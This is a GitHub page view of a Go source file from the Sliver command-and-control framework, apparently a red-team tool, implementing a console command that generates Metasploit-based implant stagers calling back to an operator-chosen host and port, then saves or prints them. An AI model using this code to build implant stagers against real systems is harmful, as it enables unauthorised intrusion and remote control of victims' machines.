-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Copy pathgenerate-stager.go
111 lines (102 loc) · 2.58 KB
/
generate-stager.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
package generate
import (
"context"
"fmt"
"io/ioutil"
"net"
"regexp"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// GenerateStagerCmd - Generate a stager using Metasploit
func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var stageProto clientpb.StageProtocol
lhost := ctx.Flags.String("lhost")
if lhost == "" {
con.PrintErrorf("Please specify a listening host")
return
}
match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
if err != nil {
return
}
if !match {
addr, err := net.LookupHost(lhost)
if err != nil {
con.PrintErrorf("Error resolving %s: %v\n", lhost, err)
return
}
if len(addr) > 1 {
prompt := &survey.Select{
Message: "Select an address",
Options: addr,
}
err := survey.AskOne(prompt, &lhost)
if err != nil {
con.PrintErrorf("Error: %v\n", err)
return
}
} else {
lhost = addr[0]
}
}
lport := ctx.Flags.Int("lport")
stageOS := ctx.Flags.String("os")
arch := ctx.Flags.String("arch")
proto := ctx.Flags.String("protocol")
format := ctx.Flags.String("format")
badchars := ctx.Flags.String("badchars")
save := ctx.Flags.String("save")
bChars := make([]string, 0)
if len(badchars) > 0 {
for _, b := range strings.Split(badchars, " ") {
bChars = append(bChars, fmt.Sprintf("\\x%s", b))
}
}
switch proto {
case "tcp":
stageProto = clientpb.StageProtocol_TCP
case "http":
stageProto = clientpb.StageProtocol_HTTP
case "https":
stageProto = clientpb.StageProtocol_HTTPS
default:
con.PrintErrorf("%s staging protocol not supported\n", proto)
return
}
ctrl := make(chan bool)
con.SpinUntil("Generating stager, please wait ...", ctrl)
stageFile, err := con.Rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
Arch: arch,
BadChars: bChars,
Format: format,
Host: lhost,
Port: uint32(lport),
Protocol: stageProto,
OS: stageOS,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
return
}
if save != "" || format == "raw" {
saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
if err != nil {
return
}
err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return
}
con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
} else {
con.PrintInfof("Here's your stager:")
con.Println(string(stageFile.GetFile().GetData()))
}
}